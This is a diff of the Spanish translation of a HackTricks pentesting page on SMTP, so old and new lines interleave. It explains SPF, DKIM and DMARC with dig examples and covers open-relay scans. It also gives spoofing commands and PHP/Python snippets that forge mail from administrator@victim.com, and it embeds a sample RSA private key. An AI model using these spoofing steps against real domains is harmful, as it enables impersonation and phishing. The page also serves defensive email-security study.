**Configuración disponible instantáneamente para evaluación de vulnerabilidades y pruebas de penetración**. Ejecute una prueba de penetración completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la recolección de información hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## Informes DSN
|
||||
## Informes de DSN
|
||||
|
||||
**Informes de Notificación de Estado de Entrega**: Si envía un **correo electrónico** a una organización a una **dirección inválida**, la organización notificará que la dirección fue invalidada enviando un **correo de vuelta a usted**. Los **encabezados** del correo electrónico devuelto **contendrán** posible **información sensible** (como la dirección IP de los servicios de correo que interactuaron con los informes o información del software antivirus).
|
||||
**Informes de Notificación de Estado de Entrega**: Si envía un **correo electrónico** a una organización a una **dirección no válida**, la organización le notificará que la dirección era inválida enviando un **correo de vuelta**. Los **encabezados** del correo devuelto **contendrán** información **sensible** posible (como la dirección IP de los servicios de correo que interactuaron con los informes o información sobre el software antivirus).
|
||||
|
||||
## [Comandos](smtp-commands.md)
|
||||
|
||||
### Enviando un correo electrónico desde la consola de Linux
|
||||
### Enviar un correo electrónico desde la consola de Linux
|
||||
```
|
||||
root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
|
||||
Reading message body from STDIN because the '-m' option was not used.
|
||||
|
@ -201,7 +203,7 @@ swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --hea
|
|||
```
|
||||
### Enviando un correo electrónico con Python
|
||||
|
||||
Aquí hay una manera alternativa de enviar un correo electrónico con un script de python
|
||||
Aquí hay una forma alternativa de enviar un correo electrónico con un script de Python
|
||||
```python
|
||||
from email.mime.multipart import MIMEMultipart
|
||||
from email.mime.text import MIMEText
|
||||
|
@ -244,139 +246,136 @@ server.quit()
|
|||
|
||||
print("[***]successfully sent email to %s:" % (msg['To']))
|
||||
```
|
||||
## Suplantación de Correo
|
||||
## Contramedidas contra el Spoofing de Correo
|
||||
|
||||
La mayor parte de esta sección fue extraída del libro **Network Security Assessment 3rd Edition**.
|
||||
Las organizaciones evitan que se envíen correos electrónicos no autorizados en su nombre empleando **SPF**, **DKIM** y **DMARC** debido a la facilidad de suplantación de mensajes SMTP.
|
||||
|
||||
Los mensajes SMTP son fácilmente suplantados, por lo que las organizaciones utilizan características de **SPF**, **DKIM** y **DMARC** para prevenir que terceros envíen correos electrónicos no autorizados.
|
||||
|
||||
Una **guía completa de estas contramedidas** se puede encontrar en [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)
|
||||
Una **guía completa sobre estas contramedidas** está disponible en [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
|
||||
|
||||
### SPF
|
||||
|
||||
{% hint style="danger" %}
|
||||
SPF [fue "obsoleto" en 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Esto significa que en lugar de crear un **registro TXT** en `_spf.domain.com` lo creas en `domain.com` utilizando la **misma sintaxis**.\
|
||||
Además, para reutilizar registros SPF anteriores es bastante común encontrar algo como `"v=spf1 include:_spf.google.com ~all"`
|
||||
SPF [fue "desaprobado" en 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Esto significa que en lugar de crear un registro **TXT** en `_spf.domain.com`, se crea en `domain.com` utilizando la **misma sintaxis**.\
|
||||
Además, para reutilizar registros SPF anteriores, es bastante común encontrar algo como `"v=spf1 include:_spf.google.com ~all"`
|
||||
{% endhint %}
|
||||
|
||||
**Sender Policy Framework** (SPF) proporciona un mecanismo que permite a los MTAs verificar si un host que envía un correo electrónico está autorizado.\
|
||||
Luego, las organizaciones pueden definir una lista de servidores de correo autorizados y los MTAs pueden consultar estas listas para verificar si el correo electrónico fue suplantado o no.\
|
||||
Para definir direcciones/rangos IP, dominios y otros que están **autorizados para enviar correos electrónicos en nombre de un nombre de dominio**, diferentes "**Mecanismos**" pueden aparecer en el registro SPF.
|
||||
**Sender Policy Framework** (SPF) es un mecanismo que permite a los Agentes de Transferencia de Correo (MTAs) verificar si un host que envía un correo electrónico está autorizado consultando una lista de servidores de correo autorizados definidos por las organizaciones. Esta lista, que especifica direcciones IP/rangos, dominios y otras entidades **autorizadas para enviar correos electrónicos en nombre de un nombre de dominio**, incluye varios "**Mecanismos**" en el registro SPF.
|
||||
|
||||
#### Mecanismos
|
||||
|
||||
| Mecanismo | Descripción |
|
||||
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ALL | Siempre coincide; utilizado para un resultado predeterminado como `-all` para todas las IPs que no coinciden con mecanismos anteriores. |
|
||||
| A | Si el nombre de dominio tiene un registro de dirección (A o AAAA) que se puede resolver a la dirección del remitente, coincidirá. |
|
||||
| IP4 | Si el remitente está en un rango de direcciones IPv4 dado, coincide. |
|
||||
| IP6 | Si el remitente está en un rango de direcciones IPv6 dado, coincide. |
|
||||
| MX | Si el nombre de dominio tiene un registro MX que se resuelve a la dirección del remitente, coincidirá (es decir, el correo proviene de uno de los servidores de correo entrante del dominio). |
|
||||
| PTR | Si el nombre de dominio (registro PTR) para la dirección del cliente está en el dominio dado y ese nombre de dominio se resuelve a la dirección del cliente (DNS inverso confirmado), coincide. Este mecanismo se desaconseja y debe evitarse, si es posible. |
|
||||
| EXISTS | Si el nombre de dominio dado se resuelve a cualquier dirección, coincide (sin importar la dirección a la que se resuelva). Esto se usa raramente. Junto con el lenguaje de macros SPF, ofrece coincidencias más complejas como consultas DNSBL. |
|
||||
| INCLUDE | Hace referencia a la política de otro dominio. Si la política de ese dominio pasa, este mecanismo pasa. Sin embargo, si la política incluida falla, el procesamiento continúa. Para delegar completamente a la política de otro dominio, se debe usar la extensión de redirección. |
|
||||
| REDIRECT | <p>Una redirección es un puntero a otro nombre de dominio que aloja una política SPF, permite que múltiples dominios compartan la misma política SPF. Es útil cuando se trabaja con una gran cantidad de dominios que comparten la misma infraestructura de correo electrónico.</p><p>Se utilizará la política SPF del dominio indicado en el mecanismo de redirección.</p> |
|
||||
| ALL | Siempre coincide; se utiliza para un resultado predeterminado como `-all` para todas las IP que no coinciden con los mecanismos anteriores. |
|
||||
| A | Si el nombre de dominio tiene un registro de dirección (A o AAAA) que se puede resolver a la dirección del remitente, coincidirá. |
|
||||
| IP4 | Si el remitente está en un rango de direcciones IPv4 dado, coincide. |
|
||||
| IP6 | Si el remitente está en un rango de direcciones IPv6 dado, coincide. |
|
||||
| MX | Si el nombre de dominio tiene un registro MX que resuelve a la dirección del remitente, coincidirá (es decir, el correo proviene de uno de los servidores de correo entrante del dominio). |
|
||||
| PTR | Si el nombre de dominio (registro PTR) para la dirección del cliente está en el dominio dado y ese nombre de dominio se resuelve a la dirección del cliente (DNS inverso confirmado hacia adelante), coincide. Se desaconseja este mecanismo y se debe evitar, si es posible. |
|
||||
| EXISTS | Si el nombre de dominio dado se resuelve a cualquier dirección, coincide (independientemente de la dirección a la que se resuelva). Esto se usa raramente. Junto con el lenguaje macro SPF, ofrece coincidencias más complejas como consultas DNSBL. |
|
||||
| INCLUDE | Hace referencia a la política de otro dominio. Si la política de ese dominio pasa, este mecanismo pasa. Sin embargo, si la política incluida falla, el procesamiento continúa. Para delegar completamente a la política de otro dominio, se debe usar la extensión de redirección. |
|
||||
| REDIRECT | <p>Una redirección es un apuntador a otro nombre de dominio que aloja una política SPF, permite que múltiples dominios compartan la misma política SPF. Es útil al trabajar con una gran cantidad de dominios que comparten la misma infraestructura de correo electrónico.</p><p>Se usará la política SPF del dominio indicado en el Mecanismo de redirección.</p> |
|
||||
|
||||
También es posible identificar **Calificadores** que indican **qué se debe hacer si se coincide con un mecanismo**. Por defecto, se utiliza el **calificador "+"** (así que si cualquier mecanismo coincide, eso significa que está permitido).\
|
||||
Normalmente notarás **al final de cada política SPF** algo como: **\~all** o **-all**. Esto se utiliza para indicar que **si el remitente no coincide con ninguna política SPF, debes etiquetar el correo electrónico como no confiable (\~) o rechazar (-) el correo electrónico.**
|
||||
También es posible identificar **Cualificadores** que indican **qué hacer si se cumple un mecanismo**. Por defecto, se utiliza el **cualificador "+"** (por lo que si se cumple algún mecanismo, significa que está permitido).\
|
||||
Normalmente se nota **al final de cada política SPF** algo como: **\~all** o **-all**. Esto se utiliza para indicar que **si el remitente no coincide con ninguna política SPF, se debe etiquetar el correo como no confiable (\~) o rechazar (-) el correo.**
|
||||
|
||||
#### Calificadores
|
||||
#### Cualificadores
|
||||
|
||||
Cada mecanismo se puede combinar con uno de cuatro calificadores:
|
||||
Cada mecanismo dentro de la política puede ir precedido por uno de cuatro cualificadores para definir el resultado previsto:
|
||||
|
||||
* **`+`** para un resultado de APROBADO. Esto puede omitirse; por ejemplo, `+mx` es lo mismo que `mx`.
|
||||
* **`?`** para un resultado NEUTRAL interpretado como NINGUNO (sin política).
|
||||
* **`~`** (tilde) para SOFTFAIL, una ayuda para la depuración entre NEUTRAL y FAIL. Típicamente, los mensajes que devuelven un SOFTFAIL son aceptados pero etiquetados.
|
||||
* **`-`** (menos) para FAIL, el correo debe ser rechazado (ver abajo).
|
||||
* **`+`**: Corresponde a un resultado de APROBADO. Por defecto, los mecanismos asumen este cualificador, haciendo que `+mx` sea equivalente a `mx`.
|
||||
* **`?`**: Representa un resultado NEUTRAL, tratado de manera similar a NINGUNO (sin política específica).
|
||||
* **`~`**: Indica SOFTFAIL, sirviendo como un punto intermedio entre NEUTRAL y FALLA. Los correos que cumplan con este resultado generalmente son aceptados pero marcados en consecuencia.
|
||||
* **`-`**: Indica FALLA, sugiriendo que el correo electrónico debe ser rechazado directamente.
|
||||
|
||||
En el siguiente ejemplo puedes leer la **política SPF de google.com**. Observa cómo la **primera política SPF incluye políticas SPF de otros dominios:**
|
||||
En el siguiente ejemplo, se ilustra la **política SPF de google.com**. Observa la inclusión de políticas SPF de diferentes dominios dentro de la primera política SPF:
|
||||
```shell-session
|
||||
kali@kali:~$ dig txt google.com | grep spf
|
||||
dig txt google.com | grep spf
|
||||
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
|
||||
|
||||
kali@kali:~$ dig txt _spf.google.com | grep spf
|
||||
dig txt _spf.google.com | grep spf
|
||||
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
|
||||
;_spf.google.com. IN TXT
|
||||
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
|
||||
|
||||
kali@kali:~$ dig txt _netblocks.google.com | grep spf
|
||||
dig txt _netblocks.google.com | grep spf
|
||||
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
|
||||
|
||||
kali@kali:~$ dig txt _netblocks2.google.com | grep spf
|
||||
dig txt _netblocks2.google.com | grep spf
|
||||
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
|
||||
|
||||
kali@kali:~$ dig txt _netblocks3.google.com | grep spf
|
||||
dig txt _netblocks3.google.com | grep spf
|
||||
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
||||
```
|
||||
Tradicionalmente era posible suplantar cualquier nombre de dominio que no tuviera un registro SPF correcto o no tuviera ninguno. **Hoy en día**, si un **correo electrónico** proviene de un **dominio sin un registro SPF válido** probablemente será **rechazado/marcado como no confiable automáticamente**.
|
||||
Tradicionalmente era posible falsificar cualquier nombre de dominio que no tuviera un registro SPF correcto o no tuviera ninguno. **Hoy en día**, si un **correo electrónico** proviene de un **dominio sin un registro SPF válido**, probablemente será **rechazado/marcado como no confiable automáticamente**.
|
||||
|
||||
Para verificar el SPF de un dominio puedes usar herramientas en línea como: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||
Para verificar el SPF de un dominio, puedes utilizar herramientas en línea como: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html)
|
||||
|
||||
### DKIM
|
||||
### DKIM (DomainKeys Identified Mail)
|
||||
|
||||
DomainKeys Identified Mail (DKIM) es un mecanismo por el cual **el correo electrónico saliente es firmado y validado por MTAs extranjeros al recuperar la clave pública de un dominio a través de DNS**. La clave pública DKIM se encuentra dentro de un registro TXT para un dominio; sin embargo, debes conocer tanto el selector como el nombre del dominio para recuperarla.
|
||||
DKIM se utiliza para firmar correos electrónicos salientes, lo que permite su validación por Agentes de Transferencia de Correo (MTAs) externos a través de la recuperación de la clave pública del dominio desde DNS. Esta clave pública se encuentra en el registro TXT de un dominio. Para acceder a esta clave, es necesario conocer tanto el selector como el nombre de dominio.
|
||||
|
||||
Luego, para solicitar la clave necesitas el nombre del dominio y el selector del correo del encabezado del correo `DKIM-Signature` por ejemplo: `d=gmail.com;s=20120113`
|
||||
Por ejemplo, para solicitar la clave, el nombre de dominio y el selector son esenciales. Estos se pueden encontrar en el encabezado del correo `DKIM-Signature`, por ejemplo, `d=gmail.com;s=20120113`.
|
||||
|
||||
Un comando para recuperar esta información podría lucir así:
|
||||
```bash
|
||||
dig 20120113._domainkey.gmail.com TXT | grep p=
|
||||
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg
|
||||
KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
|
||||
# This command would return something like:
|
||||
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
|
||||
```
|
||||
### DMARC
|
||||
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||
|
||||
Domain-based Message Authentication, Reporting & Conformance (DMARC) es un método de autenticación de correo que se expande sobre SPF y DKIM. Las políticas instruyen a los servidores de correo cómo procesar el correo electrónico para un dominio dado e informar sobre las acciones realizadas.
|
||||
|
||||
![](<../../.gitbook/assets/image (134).png>)
|
||||
DMARC mejora la seguridad del correo electrónico basándose en los protocolos SPF y DKIM. Describe políticas que guían a los servidores de correo en el manejo de correos electrónicos de un dominio específico, incluyendo cómo manejar fallos de autenticación y dónde enviar informes sobre las acciones de procesamiento de correos electrónicos.
|
||||
|
||||
**Para obtener el registro DMARC, necesitas consultar el subdominio \_dmarc**
|
||||
```shell-session
|
||||
root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC
|
||||
_dmarc.yahoo.com. 1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\;
|
||||
rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;"
|
||||
```bash
|
||||
# Reject
|
||||
dig _dmarc.facebook.com txt | grep DMARC
|
||||
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
|
||||
|
||||
root@kali:~# dig _dmarc.google.com txt | grep DMARC
|
||||
_dmarc.google.com. 600 IN TXT "v=DMARC1\; p=quarantine\; rua=mailto:mailauth-reports@google.com"
|
||||
# Quarantine
|
||||
dig _dmarc.google.com txt | grep DMARC
|
||||
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
|
||||
|
||||
root@kali:~# dig _dmarc.paypal.com txt | grep DMARC
|
||||
_dmarc.paypal.com. 300 IN TXT "v=DMARC1\; p=reject\; rua=mailto:d@rua.agari.com\;
|
||||
ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com"
|
||||
# None
|
||||
dig _dmarc.bing.com txt | grep DMARC
|
||||
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
|
||||
```
|
||||
#### Etiquetas DMARC
|
||||
|
||||
| Nombre de la etiqueta | Propósito | Ejemplo |
|
||||
| Nombre de la etiqueta | Propósito | Ejemplo |
|
||||
| --------------------- | ----------------------------------------------- | ------------------------------- |
|
||||
| v | Versión del protocolo | v=DMARC1 |
|
||||
| pct | Porcentaje de mensajes sujetos a filtrado | pct=20 |
|
||||
| ruf | URI de reporte para informes forenses | ruf=mailto:authfail@example.com |
|
||||
| rua | URI de reporte de informes agregados | rua=mailto:aggrep@example.com |
|
||||
| ruf | URI de informes forenses | ruf=mailto:authfail@example.com |
|
||||
| rua | URI de informes agregados | rua=mailto:aggrep@example.com |
|
||||
| p | Política para el dominio organizacional | p=quarantine |
|
||||
| sp | Política para subdominios del DO | sp=reject |
|
||||
| adkim | Modo de alineación para DKIM | adkim=s |
|
||||
| aspf | Modo de alineación para SPF | aspf=r |
|
||||
|
||||
### **¿Qué pasa con los Subdominios?**
|
||||
### **¿Qué pasa con los subdominios?**
|
||||
|
||||
**Desde** [**aquí**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
||||
Necesitas tener registros SPF separados para cada subdominio desde el cual desees enviar correos.\
|
||||
Lo siguiente fue originalmente publicado en openspf.org, que solía ser un gran recurso para este tipo de cosas.
|
||||
Lo siguiente fue publicado originalmente en openspf.org, que solía ser un gran recurso para este tipo de información.
|
||||
|
||||
> La Pregunta del Demonio: ¿Qué pasa con los subdominios?
|
||||
>
|
||||
> Si recibo un correo de pielovers.demon.co.uk, y no hay datos SPF para pielovers, ¿debería retroceder un nivel y probar el SPF para demon.co.uk? No. Cada subdominio en Demon es un cliente diferente, y cada cliente podría tener su propia política. No tendría sentido que la política de Demon se aplicara a todos sus clientes por defecto; si Demon quiere hacer eso, puede configurar registros SPF para cada subdominio.
|
||||
> Si recibo un correo de pielovers.demon.co.uk, y no hay datos SPF para pielovers, ¿debería retroceder un nivel y probar SPF para demon.co.uk? No. Cada subdominio en Demon es un cliente diferente, y cada cliente podría tener su propia política. No tendría sentido que la política de Demon se aplique a todos sus clientes por defecto; si Demon quiere hacer eso, puede configurar registros SPF para cada subdominio.
|
||||
>
|
||||
> Por lo tanto, el consejo para los publicadores de SPF es el siguiente: deberías añadir un registro SPF para cada subdominio o nombre de host que tenga un registro A o MX.
|
||||
> Por lo tanto, el consejo para los editores de SPF es el siguiente: deberías agregar un registro SPF para cada subdominio o nombre de host que tenga un registro A o MX.
|
||||
>
|
||||
> Los sitios con registros A o MX comodín también deberían tener un registro SPF comodín, de la forma: \* IN TXT "v=spf1 -all"
|
||||
|
||||
Esto tiene sentido - un subdominio puede estar en una ubicación geográfica diferente y tener una definición de SPF muy distinta.
|
||||
Esto tiene sentido: un subdominio bien podría estar en una ubicación geográfica diferente y tener una definición SPF muy diferente.
|
||||
|
||||
### **Open Relay**
|
||||
### **Relevo Abierto**
|
||||
|
||||
Para evitar que los correos enviados sean filtrados por filtros de spam y no lleguen al destinatario, el remitente puede usar un **servidor de retransmisión que el destinatario confíe**. A menudo, los administradores **no han revisado** qué rangos de **IP** deben **permitir**. Esto resulta en una mala configuración del servidor SMTP que todavía encontraremos a menudo en pruebas de penetración externas e internas. Por lo tanto, **permiten todas las direcciones IP** para no causar errores en el tráfico de correo electrónico y así no perturbar o interrumpir involuntariamente la comunicación con clientes potenciales y actuales:
|
||||
```shell-session
|
||||
El uso de un **servidor de retransmisión confiable por el destinatario** puede ser una estrategia para garantizar que los correos electrónicos enviados no sean marcados como spam y lleguen a su destino previsto. Sin embargo, se ha observado que los administradores a menudo carecen de un entendimiento detallado de los **rangos de IP** que deberían ser **permitidos**. Esta falta de conocimiento puede llevar a configuraciones incorrectas en el servidor SMTP, una vulnerabilidad que comúnmente se descubre durante pruebas de penetración externas e internas. Para evitar este problema y evitar interrumpir inadvertidamente la comunicación por correo electrónico con clientes potenciales y existentes, los administradores pueden optar por **permitir todas las direcciones IP**. Este enfoque se refleja en la configuración del servidor SMTP, donde el parámetro `mynetworks` se establece para permitir conexiones desde cualquier dirección IP:
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
|
||||
Para probar si existe un retransmisor de correo abierto, se puede utilizar una herramienta como `nmap`. Esta herramienta se emplea para escanear el servidor objetivo en busca de la posibilidad de que funcione como un retransmisor abierto, lo cual puede indicarse mediante el script de retransmisión abierto `smtp-open-relay`. El siguiente comando muestra cómo se utiliza `nmap` para escanear el puerto 25 en el servidor con la dirección IP 10.10.10.10, proporcionando una salida detallada:
|
||||
```bash
|
||||
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
||||
```
|
||||
|
@ -385,15 +384,15 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
|||
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Verificar configuraciones incorrectas de SPF y DMARC**
|
||||
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Obtener automáticamente configuraciones de SPF y DMARC**
|
||||
|
||||
### Enviar Correo Falso
|
||||
### Enviar Correo Electrónico Falsificado
|
||||
|
||||
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
|
||||
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
|
||||
* [**https://emkei.cz/**](https://emkei.cz/)****
|
||||
* [**https://emkei.cz/**](https://emkei.cz/)\*\*\*\*
|
||||
|
||||
**O podrías usar una herramienta:**
|
||||
**O puedes utilizar una herramienta:**
|
||||
|
||||
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)****
|
||||
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)\*\*\*\*
|
||||
```bash
|
||||
# This will send a test email from test@victim.com to destination@gmail.com
|
||||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
||||
|
@ -401,8 +400,8 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
|||
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Si encuentras algún **error al usar la librería de python dkim** al analizar la clave, siéntete libre de usar la siguiente.\
|
||||
**NOTA**: Esto es solo una solución rápida para hacer verificaciones rápidas en casos donde, por alguna razón, la clave privada de openssl **no puede ser analizada por dkim**.
|
||||
Si obtienes algún **error al usar la librería dkim de Python** al analizar la clave, siéntete libre de usar la siguiente.\
|
||||
**NOTA**: Esto es solo una solución temporal para realizar verificaciones rápidas en casos donde, por alguna razón, la clave privada de openssl **no pueda ser analizada por dkim**.
|
||||
```
|
||||
-----BEGIN RSA PRIVATE KEY-----
|
||||
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
|
||||
|
@ -422,12 +421,12 @@ K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
**O podrías hacerlo manualmente:**
|
||||
**O puedes hacerlo manualmente:**
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="PHP" %}
|
||||
<pre class="language-php"><code class="lang-php"><strong># Esto enviará un mensaje sin firmar
|
||||
</strong><strong>mail("your_email@gmail.com", "Asunto de prueba!", "¡Hola! Esto es una prueba", "De: administrator@victim.com");
|
||||
<pre class="language-php"><code class="lang-php"><strong># Esto enviará un mensaje no firmado
|
||||
</strong><strong>mail("tu_correo@gmail.com", "¡Asunto de prueba!", "¡Hola! Esto es una prueba", "De: administrador@victima.com");
|
||||
</strong></code></pre>
|
||||
{% endtab %}
|
||||
|
||||
|
@ -499,28 +498,30 @@ s.sendmail(sender, [destination], msg_data)
|
|||
* Edad del dominio
|
||||
* Enlaces que apuntan a direcciones IP
|
||||
* Técnicas de manipulación de enlaces
|
||||
* Adjuntos sospechosos (poco comunes)
|
||||
* Archivos adjuntos sospechosos (poco comunes)
|
||||
* Contenido de correo electrónico roto
|
||||
* Valores utilizados que son diferentes a los de los encabezados de correo
|
||||
* Valores utilizados diferentes a los de los encabezados del correo
|
||||
* Existencia de un certificado SSL válido y confiable
|
||||
* Envío de la página a sitios de filtrado de contenido web
|
||||
|
||||
## Exfiltración a través de SMTP
|
||||
## Extracción a través de SMTP
|
||||
|
||||
**Si puedes enviar datos vía SMTP** [**lee esto**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
|
||||
**Si puedes enviar datos a través de SMTP** [**lee esto**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
|
||||
|
||||
## Archivo de configuración
|
||||
|
||||
### Postfix
|
||||
|
||||
Usualmente, si está instalado, en `/etc/postfix/master.cf` contiene **scripts para ejecutar** cuando por ejemplo un nuevo correo es recibido por un usuario. Por ejemplo, la línea `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` significa que `/etc/postfix/filtering` se ejecutará si un nuevo correo es recibido por el usuario mark.
|
||||
Por lo general, si está instalado, en `/etc/postfix/master.cf` contiene **scripts para ejecutar** cuando, por ejemplo, un nuevo correo es recibido por un usuario. Por ejemplo, la línea `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` significa que `/etc/postfix/filtering` se ejecutará si un nuevo correo es recibido por el usuario mark.
|
||||
|
||||
Otros archivos de configuración:
|
||||
```
|
||||
sendmail.cf
|
||||
submit.cf
|
||||
```
|
||||
## Comandos Automáticos de HackTricks
|
||||
## Referencias
|
||||
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
|
||||
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/)
|
||||
```
|
||||
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 25,465,587 #Comma separated if there is more than one.
|
||||
|
@ -573,7 +574,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Configuración disponible al instante para evaluación de vulnerabilidades y pentesting**. Ejecute un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde el reconocimiento hasta la elaboración de informes. No reemplazamos a los pentesters: desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para investigar a fondo, obtener shells y divertirse.
|
||||
**Configuración instantánea disponible para evaluación de vulnerabilidades y pruebas de penetración**. Ejecute una pentest completa desde cualquier lugar con más de 20 herramientas y funciones que van desde la reconstrucción hasta la generación de informes. No reemplazamos a los pentesters, desarrollamos herramientas personalizadas, módulos de detección y explotación para darles tiempo para profundizar, abrir shells y divertirse.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
<details>
|
||||
|
@ -582,10 +583,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
